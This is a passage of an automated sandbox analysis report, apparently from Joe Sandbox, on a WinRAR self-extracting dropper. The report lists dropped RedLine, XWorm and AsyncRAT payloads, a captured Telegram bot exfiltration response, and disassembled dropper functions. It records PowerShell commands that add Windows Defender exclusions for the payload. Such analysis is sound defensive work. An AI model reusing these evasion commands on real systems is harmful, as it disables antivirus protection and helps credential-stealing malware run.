2024-07-16 19:07:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 16 Jul 2024 19:07:27 GMT Content-Type: application/json Content-Length: 464 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-16 19:07:27 UTC	464	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 37 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 39 37 33 36 30 37 36 32 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 65 6e 65 72 61 6c 70 61 67 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 65 6e 65 72 61 6c 70 61 67 65 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 36 37 38 34 31 31 37 30 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 65 6e 74 72 69 63 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 50 65 64 61 6c 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 53 4b 49 52 45 44 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 31 31 35 36 38 34 Data Ascii: {"ok":true,"result":{"message_id":703,"from":{"id":6973607627,"is_bot":true,"first_name":"Generalpage","username":"Generalpage_bot"},"chat":{"id":6678411703,"first_name":"Centric","last_name":"Pedal","username":"OSKIRED","type":"private"},"date":172115684

Target ID:	0
Start time:	15:06:58
Start date:	16/07/2024
Path:	C:\Users\user\Desktop\Ekpb7jn7mf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ekpb7jn7mf.exe"
Imagebase:	0x400000
File size:	289'471 bytes
MD5 hash:	4CE2C0836C46C61B588972B56A23D5E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:06:59
Start date:	16/07/2024
Path:	C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe"
Imagebase:	0x7ff630ce0000
File size:	27'648 bytes
MD5 hash:	DEAD69D07BC33B762ABD466FB6F53E11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:06:59
Start date:	16/07/2024
Path:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe"
Imagebase:	0x900000
File size:	97'792 bytes
MD5 hash:	EAB323FA6C66098BE1068FEF0A03BFF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: ditekSHen
Antivirus matches:	Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:06:59
Start date:	16/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:06:59
Start date:	16/07/2024
Path:	C:\Users\user\AppData\Local\Temp\YsrQekGS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\YsrQekGS.exe"
Imagebase:	0x4b0000
File size:	42'496 bytes
MD5 hash:	6EA393666ED89F758B30EA5037F5C22A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.2912640995.0000000002756000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:07:00
Start date:	16/07/2024
Path:	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca
Imagebase:	0x7ff625650000
File size:	4'099'584 bytes
MD5 hash:	94675EB54AC5DAA11ACE736DBFA9E7A2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:07:03
Start date:	16/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:07:03
Start date:	16/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:07:10
Start date:	16/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'YsrQekGS.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:07:10
Start date:	16/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	36

Executed Functions

Function 0040FCFB Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 161
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410BE8: GetModuleHandleW.KERNEL32(kernel32,0040FD0B,00000001), ref: 00410BED
Part of subcall function 00410BE8: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410BFD

OleInitialize.OLE32(00000000), ref: 0040FD0E

Part of subcall function 00411CC7: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FD1E), ref: 00411CD8
Part of subcall function 00411CC7: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411CEC

_memset.LIBCMT ref: 0040FD2A
GetCommandLineW.KERNEL32 ref: 0040FD32
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FD58
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FD6A
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FD93

Part of subcall function 0040D4A7: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D4C0
Part of subcall function 0040D4A7: SetEnvironmentVariableW.KERNEL32(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D4F3

CloseHandle.KERNEL32(?), ref: 0040FD9C
GetModuleFileNameW.KERNEL32(00000000,00438820,00000800), ref: 0040FDB6
SetEnvironmentVariableW.KERNEL32(sfxname,00438820), ref: 0040FDC2
GetModuleHandleW.KERNEL32(00000000), ref: 0040FDC9
LoadIconW.USER32(00000000,00000064), ref: 0040FDE0
LoadBitmapW.USER32(00000065), ref: 0040FDF3
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,0040F436,00000000), ref: 0040FE52
DeleteObject.GDI32 ref: 0040FEB3
DeleteObject.GDI32(?), ref: 0040FEBF
CloseHandle.KERNEL32(000000FF), ref: 0040FEFC
Sleep.KERNEL32(?), ref: 0040FF0C
OleUninitialize.OLE32 ref: 0040FF12

Part of subcall function 0040D4FB: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D55C
Part of subcall function 0040D4FB: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D583

Strings

sfxname, xrefs: 0040FDBD
STARTDLG, xrefs: 0040FE44
winrarsfxmappingfile.tmp, xrefs: 0040FD4C

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileHandle$EnvironmentModuleVariable$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineMappingNameOpenParamProcSleepUninitializeUnmap_memset
String ID: STARTDLG$sfxname$winrarsfxmappingfile.tmp
API String ID: 3055076122-2503671248
Opcode ID: a22acdb766a7c0e52184bb8b612a7c1dc45bd1962d25c885258a70212aff553f
Instruction ID: f4f22b9ba360d764c944beb667196f2bea3764b9e46d0abae360175085c82a8e
Opcode Fuzzy Hash: a22acdb766a7c0e52184bb8b612a7c1dc45bd1962d25c885258a70212aff553f
Instruction Fuzzy Hash: 4C51A570A00204EFC724BFB1ED8A96E7AA9EB45314B50443FF505A32A1DB7C4955CBAD

Function 00401D01 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 769COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00401D06
_strlen.LIBCMT ref: 00402277

Part of subcall function 004118AD: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,00001FFF,?,?,004022FC,00000000,?,00000800,?,00001FFF,?), ref: 004118C9

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004023D3

Strings

CMT, xrefs: 004023F6

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: aa2f60ddcec8fd2efd3fda57f68e11ada5fb96b913be5de19f4ea4d0439c56d0
Instruction ID: 9442b8194121d703088a8fabf333f0c3befbc1c42b6ea704bbd0c6a07644fbaa
Opcode Fuzzy Hash: aa2f60ddcec8fd2efd3fda57f68e11ada5fb96b913be5de19f4ea4d0439c56d0
Instruction Fuzzy Hash: 406211709006848FCF15DF64C899BEE7BB1AF14304F08447FE986AB2C6DB785985CB68

Function 00409396 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,00409605,000000FF,?,?,?,?,00408331,?,?,00000000), ref: 004093C4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,00409605,000000FF,?,?,?,?,00408331,?,?,00000000), ref: 004093F4
GetLastError.KERNEL32(?,?,00000800,?,00409605,000000FF,?,?,?,?,00408331,?,?,00000000,?,00000800), ref: 004093FE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,00409605,000000FF,?,?,?,?,00408331,?,?,00000000), ref: 00409428
GetLastError.KERNEL32(?,00409605,000000FF,?,?,?,?,00408331,?,?,00000000,?,00000800), ref: 00409436

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 5046d3256f54a4eb14f67afb25d84d6bd2b79aa0e406bc94fe027f4d8763a26c
Instruction ID: 3bd6e1595cc40084cd7e2c41453e8846b53c8c10c675e8f8304b93ed0838cd52
Opcode Fuzzy Hash: 5046d3256f54a4eb14f67afb25d84d6bd2b79aa0e406bc94fe027f4d8763a26c
Instruction Fuzzy Hash: B7416F719006549BCB20DF28CC84ADA77F8BF48350F10466AF56EE2291D774AAC5CF54

Function 00417AED Relevance: 2.6, APIs: 1, Instructions: 1055COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00417B2A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 7889950b6ae447eba384dc39c4309f2808af0eef35d2d8dcdc64f6cf0a8ad92c
Instruction ID: 32ee2a2af2c0316917a2b5ad144b093d5dc149cfb96975b6bee9dbb568e54f8d
Opcode Fuzzy Hash: 7889950b6ae447eba384dc39c4309f2808af0eef35d2d8dcdc64f6cf0a8ad92c
Instruction Fuzzy Hash: 7A92E3709087859FCB29CF34C4C06E9BBF1AF55308F18C5AED8968B342D739A985CB59

Function 0040F436 Relevance: 102.1, APIs: 49, Strings: 9, Instructions: 646
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040F43B

Strings

@, xrefs: 0040F758
"%s"%s, xrefs: 0040F881
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F715
z(D, xrefs: 0040F6F8
LICENSEDLG, xrefs: 0040FB96
STARTDLG, xrefs: 0040F453
__tmp_rar_sfx_access_check_%u, xrefs: 0040F659
<, xrefs: 0040F751
winrarsfxmappingfile.tmp, xrefs: 0040F72E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z(D
API String ID: 3519838083-1299667913
Opcode ID: 4136df6a6fdd2908081ecb667f8b38cd016a064ae2cbabecf8b175fe67b05172
Instruction ID: 2de117cf305f029db3da918c16ce27e436648ede792bd40733fb280a025eb681
Opcode Fuzzy Hash: 4136df6a6fdd2908081ecb667f8b38cd016a064ae2cbabecf8b175fe67b05172
Instruction Fuzzy Hash: 6722F471540244BFEB31BFA19D85E9E3A68AB02304F40417BFA05B21E1D77D4969CB6E

Function 0040E700 Relevance: 73.9, APIs: 35, Strings: 7, Instructions: 411
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040E705

Part of subcall function 0040D631: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D6DF

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,75C05540,?,0040F3EA,?,00000003), ref: 0040E850
_wcslen.LIBCMT ref: 0040E88B
_wcslen.LIBCMT ref: 0040E8A0
_wcslen.LIBCMT ref: 0040E8C6
_memset.LIBCMT ref: 0040E8DC
SHFileOperationW.SHELL32 ref: 0040E8FF
GetFileAttributesW.KERNEL32(?), ref: 0040E90C
DeleteFileW.KERNEL32(?), ref: 0040E91A
_wcscat.LIBCMT ref: 0040E9D0
_wcslen.LIBCMT ref: 0040EA08
_realloc.LIBCMT ref: 0040EA1A
_wcscat.LIBCMT ref: 0040EA34
SetWindowTextW.USER32(?,?), ref: 0040EA65
_wcslen.LIBCMT ref: 0040EAAE
_wcscpy.LIBCMT ref: 0040EBCC
_wcsrchr.LIBCMT ref: 0040EBDC
_wcscpy.LIBCMT ref: 0040EBFB
GetDlgItem.USER32(?,00000066), ref: 0040EC14
SetWindowTextW.USER32(00000000,?), ref: 0040EC24
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040EC33
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EC5F

Strings

%s.%d.tmp, xrefs: 0040E842, 0040E937, 0040EBFA, 0040EC2A, 0040EC40
<br>, xrefs: 0040E9CA
", xrefs: 0040EA8A
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EB01
C:\Users\user\AppData\Local\Temp, xrefs: 0040E75E
ProgramFilesDir, xrefs: 0040EB26
\, xrefs: 0040EB74

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$C:\Users\user\AppData\Local\Temp$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-1943431393
Opcode ID: a312bfa86ed5c22f0a26de5229e35c58a4d19bbac0fd92d548106ffd5423603c
Instruction ID: e3878ae73ee75937aca8c0adb5b40f7b6819d108fae1ee0c947c7289b3b33f64
Opcode Fuzzy Hash: a312bfa86ed5c22f0a26de5229e35c58a4d19bbac0fd92d548106ffd5423603c
Instruction Fuzzy Hash: 62F15FB1904219ABDF20DBA1DC45FEE7378BF04314F4408BBF605B21D1EB789A998B59

Function 0041D67C Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 0041D6C7
__mtinit.LIBCMT ref: 0041D6CD
_fast_error_exit.LIBCMT ref: 0041D6D8
__RTC_Initialize.LIBCMT ref: 0041D6DE
__ioinit.LIBCMT ref: 0041D6E6
__amsg_exit.LIBCMT ref: 0041D6F1
GetCommandLineA.KERNEL32 ref: 0041D6F7
___crtGetEnvironmentStringsA.LIBCMT ref: 0041D702
__setargv.LIBCMT ref: 0041D70C
__amsg_exit.LIBCMT ref: 0041D717
__setenvp.LIBCMT ref: 0041D71D
__amsg_exit.LIBCMT ref: 0041D728
__cinit.LIBCMT ref: 0041D72F
__amsg_exit.LIBCMT ref: 0041D73A
__wincmdln.LIBCMT ref: 0041D740

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp__wincmdln
String ID:
API String ID: 3545360858-0
Opcode ID: a55bb9f3dfa655b7c8a7d3ad90ba15450eb4b47b4cad154de41e312a3148be5c
Instruction ID: 585dd34c56a54c5d764deeccdbd77e89776c7e0983f8679d63152811ed296333
Opcode Fuzzy Hash: a55bb9f3dfa655b7c8a7d3ad90ba15450eb4b47b4cad154de41e312a3148be5c
Instruction Fuzzy Hash: 9E21E7B0E0032499EB147F73B846BBD22B8AF1070CF50046FF459AA1D2EB7C99C0865D

Function 0040BAE4 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040BAE9
_wcschr.LIBCMT ref: 0040BB00
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004325BC,0040C266,0040FE11,00438820,0040FE11,00438820), ref: 0040BB19
_wcsrchr.LIBCMT ref: 0040BB28
_wcscpy.LIBCMT ref: 0040BB3E
_malloc.LIBCMT ref: 0040BCC5

Part of subcall function 00408ACE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408B01
Part of subcall function 00408ACE: GetLastError.KERNEL32(?,?), ref: 00408B0E

_strncmp.LIBCMT ref: 0040BBF1
_strncmp.LIBCMT ref: 0040BC4D
_malloc.LIBCMT ref: 0040BCFB

Strings

a, xrefs: 0040BC34
*messages***, xrefs: 0040BBEB
*messages***, xrefs: 0040BC1D

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

